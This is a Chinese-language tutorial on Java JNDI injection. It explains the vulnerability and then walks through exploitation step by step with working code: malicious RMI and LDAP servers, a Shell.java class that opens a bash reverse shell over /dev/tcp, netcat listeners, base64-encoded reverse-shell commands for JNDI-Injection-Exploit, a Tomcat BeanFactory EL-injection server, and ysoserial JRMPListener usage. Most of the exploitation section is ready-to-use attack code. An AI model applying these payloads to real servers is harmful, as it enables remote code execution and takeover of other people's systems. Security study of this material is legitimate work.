目录
目录
JNDI简介
Jndi叫Java命名和目录的接口,可以类比为一个字典(就比如用一个目录路径去定义一个文件,目录路径和文件就是键值)。
在Java应用中除了以常规方式使用名称服务(比如使用DNS解析域名) ,另一个常见的用法是使用目录服务作为对象存储的系统来存储和获取Java对象(比如使用打印机,在目录服务查找打印机然后获得一个打印机对象)。
Jndi包含在Java SE平台。要使用Jndi,您必须拥有Jndi类和一个或多个服务提供者(SPI)。JDK包含以下命名/目录服务的服务提供者:
目录服务:
- 轻量级目录访问协议(LDAP)
- Java远程方法调用(RMI)
命名服务:
- 公共对象请求代理体系结构(CORBA)
- 域名服务(DNS)
命名服务和目录服务
命名服务很好理解,就跟字典一样,将一个对象作为值,将命名服务的名字作为键,将两者绑定就可以通过这个名字查询到绑定的对象。
目录服务是名称服务的一种拓展,除了命名服务通过名称绑定对象之外,还允许根据对象的属性值去搜索对象。
举个例子:还是打印机,我们可以在命名服务中根据打印机的名称去获取打印机对象,然后进行打印;同样的由于打印机拥有速率、颜色等属性,可以通过目录服务以打印机的速率去搜索打印机对象,再进行打印操作。
而这里可以再讲讲目录服务协议:
LDAP:轻量级目录访问协议,是一种开放的网络协议,用于访问和维护分布式目录服务(比如树状型层次目录)。LDAP提供了一种标准化的方式来查询、添加、修改和删除分布式目录中的数据。
RMI:远程方法调用,用于实现分布式应用程序中的远程通信和方法调用。RMI允许在不同Java虚拟机(JVM)上运行的对象之间进行通信,并调用对方的方法,就像调用本地对象的方法一样。
由于Jndi提供的接口统一性,当需要访问不同类型的目录服务时,不必再分别针对不同的服务协议来实现用于访问的客户端,而是通过Jndi提供的统一接口访问。
JNDI注入
漏洞原理
如果被攻击端应用程序中进行了JNDI查询(使用了lookup查询等),并且其查询的地址或者名称是可控的,那么就会形成JNDI注入漏洞。
根据原理,也可以知道要利用JNDI需要两个条件:
- 使用了lookup等JNDI查询函数
- 参数可控
漏洞利用
利用流程:
1、 攻击者再构造一个payload,并在此目录开启HTTP服务(使用apache开启等)
2、 攻击者搭建一个RMI/LDAP服务端,并将返回值设置为payload对象
3、构造RMI/LDAP协议的URL字符串(就是对应RMI/LDAP服务端地址)作为参数传入目标应用的JNDI的lookup方法中
在被攻击者角度来说,它访问了攻击者特意构造的RMI/LDAP协议的URL,然后访问其服务端,服务端又返回一个HTTP地址给被攻击者(这个HTTP地址就是带有payload的地址),然后被攻击者去访问下载HTTP地址的文件然后做初始化加载,到这里攻击者的恶意代码就被执行了。
简单复现
有一个App.java使用了RMI协议且参数可控
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class App {
public static void main(String[] args) throws NamingException {
String var = "rmi://127.0.0.1:7788/calc";
new InitialContext().lookup(var);
}
}
然后建立了RMI服务端,RMIServer.java
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7788);
Reference reference = new Reference("test","test","http://192.168.15.249:8000/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc",wrapper);
}
}
然后构造payload,test.java
import java.io.IOException;
public class test {
public test() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
直接运行也是可以弹出计算机的,这是因为RMI会先在本地找,然后再加载远程的,由于测试环境是直接都在本地所以不开启HTTP服务也可以执行,但在攻击时肯定不可能被攻击者原本就存有payload代码,所以一般都是要先编译payload的脚本然后在预编译后文件的文件夹下开启HTTP服务。
还有要提到的是,由于能够利用LDAP的JDK的版本比能够利用RMI的JDK的版本要多,所以比较常用的是以LDAP来进行攻击,以便提高攻击成功率。
利用Reference加载远程Factory类
上面举的简单例子也是通过Reference来加载的。
比如被攻击者代码:
String jndiurl = GET["url"];
Context ctx = new InitialContext();
ctx.lookup(jndiurl);
使用手动方法
Marshalsec这款工具集成了有恶意RMI或LDAP服务的程序,这款工具的使用需要Java8的环境。
项目地址:Marshalsec项目地址
Marshalsec需要Maven和Java环境,大家自行下载。
下载后,进入文件夹输入如下命令:
mvn clean package -DskipTests
然后开启一个LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:http端口//#Shell 监听端口
这个命令会在xx端口监听一个LDAP服务,当被攻击者lookup这个服务端时,它会返回一个Reference。类加载地址指向http://ip:http端口/Shell.class,Exploit.class是攻击者构造的恶意代码编译后的文件。比如:
//Shell.java
public class Shell{
static { //static是编译运行时最初会执行的
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击机ip/nc端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
之后在攻击机上开启监听:
nc -lvnp nc端口
最后构造payload就可以诱导目标服务器访问LDAP服务器:
?url=ldap://ip:http端口/Shell
使用集成JDNI注入工具
用到的工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
项目地址:JNDI注入工具项目地址
下载之后还需要使用Maven进行生成可执行文件
利用方法:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "恶意命令" -A "攻击机ip"
比如:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/192.168.1.100/6666 0>&1" -A "192.168.1.100"
把恶意命令base64编码:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzY2NjYgMD4mMQ==" -A "192.168.1.100"
执行命令后会返回部署好的RMI和LDAP的路径
开启6666端口监听,然后访问路径就可以了。
利用Reference加载本地Factory类
从高版本JDK开始,就禁止RMI和LDAP远程加载Factory类。那么就只能把目标转到本地,如果在被攻击者的依赖环境中可以找到危险的Factory,同样可以加载Factory类,完成代码执行。
比如,Tomcat Server中的org.apache.naming.factory.BeanFactory,因为该类的getObjectInstance方法能够反射,可以通过它来调用java.el.ELProcessor的eval方法,最终实现EL表达式来达到远程代码执行的效果。
比如构造启动RMI服务的代码:
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//准备利用org.apache.naming.factory.BeanFactory中不安全反射的有效负载
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//将“x”属性的setter名称从“setX”重新定义为“eval”
ref.add(new StringRefAddr("forceString", "x=eval"));
//表达式语言执行“nslookup jndi.s.artsplooit.com”,如果您的目标是windows,请将/bin/sh修改为cmd.exe
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
构造payload:
?url=rmi://evil_rmi_server:1097/Object
这里执行了RMI服务,目标程序如果有Tomcat相关依赖,就能够连接上恶意的RMI服务,最终通过构造表达式执行系统命令nslookup jndi.s.artsploit.com。
除了这个类,还有其他许多的危险的Factory类,都已经集成到rogue-jndi中,项目地址:rogue-jnd项目地址
java -jar target/RogueJndi-1.0.jar --command "命令" --hostname 本机地址
反序列化利用
前面两种都是通过将恶意的对象绑定到RMI或LDAP中,是通过序列化对象来实现攻击的。还可以通过JNDI注入来实现反序列化攻击。
Java反序列化攻击的话是利用ysoserial工具的,这里借助ysoserial的JRMPListener来完成。
使用方法:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonCollections6 "curl http://you-ip/"
会在攻击机1099端口开启JRMP服务(RMI的底层协议),当受害者访问时,JRMP就会构建恶意的Commons Collection序列化数据返回给受害者客户端,如果受害者客户端存在有漏洞的Apache Commons Collection库,反序列化攻击就会成功,命令被执行。
?url=ldap://your-ip:1099/Exploit
总结
- JNDI是Java命名和目录的接口,类似于字典,可以通过名称或对象的特征来寻找到对应的对象并获取。安全要比较了解的有:目录服务包括RMI(远程访问协议)和LDAP(轻量级目录访问协议)以及命名服务的DNS协议(JNDI注入中可以通过dnslog来判断是否存在漏洞而且简单、隐藏性高)
- JNDI注入漏洞需要两个条件:一个是被攻击端使用了lookup等函数进行JNDI查询;另一个是需要查询的参数可控。JNDI注入的利用攻击者需要准备两个步骤:一个是开启RMI/LDAP服务端;另一个是有恶意代码的payload
- 被攻击端通过精心构造的URL访问到攻击者的RMI/LDAP服务端,然后服务端返回一个HTTP地址,被攻击端继续访问HTTP地址然后将其内容下载运行,最终执行了恶意代码
- 利用方式有利用Reference加载远程Factory类和本地Factory类。加载远程Factory类可以通过手动注入和工具注入;加载本地Factory类是因为随着JDK版本的升高,被禁止加载远程Factory类而只能通过本地的一些类的可利用方法来实现,通过工具rogue-jnd来实现
- 除了上面的两种序列化利用方式,还可以通过JNDI注入来实现反序列化利用,借助Java反序列化工具ysoserial。